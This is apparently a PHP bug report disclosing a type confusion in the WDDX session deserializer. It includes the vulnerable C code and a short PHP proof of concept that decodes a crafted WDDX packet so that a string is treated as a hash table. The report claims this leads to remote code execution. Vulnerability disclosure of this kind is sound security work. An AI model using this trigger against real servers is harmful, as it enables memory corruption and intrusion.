[2015-10-19 14:36 UTC] taoguangchen at icloud dot com

Description:
------------
Session WDDX Packet Deserialization Type Confusion Vulnerability

```
PS_SERIALIZER_DECODE_FUNC(wddx)
{
	...
	
	MAKE_STD_ZVAL(retval);

	if ((ret = php_wddx_deserialize_ex((char *)val, vallen, retval)) == SUCCESS) {

		for (zend_hash_internal_pointer_reset(Z_ARRVAL_P(retval));
			 zend_hash_get_current_data(Z_ARRVAL_P(retval), (void **) &ent) == SUCCESS;
			 zend_hash_move_forward(Z_ARRVAL_P(retval))) {
			 hash_type = zend_hash_get_current_key_ex(Z_ARRVAL_P(retval), &key, &key_length, &idx, 0, NULL);
```

an attacker can deserialize a string-type ZVAL via php_wddx_deserialize_ex(). this means the attacker is able to create fake HashTable via the Z_ARRVAL_P macro with the string-type ZVAL. this should result in arbitrary remote code execution.

PoC:
```
<?php

ini_set('session.serialize_handler', 'wddx');
session_start();

$hashtable = str_repeat('A', 66);
$wddx = "<?xml version='1.0'?>
<wddxPacket version='1.0'>
<header/>
	<data>
		<string>$hashtable</string>
	</data>
</wddxPacket>";
session_decode($wddx);

?>
```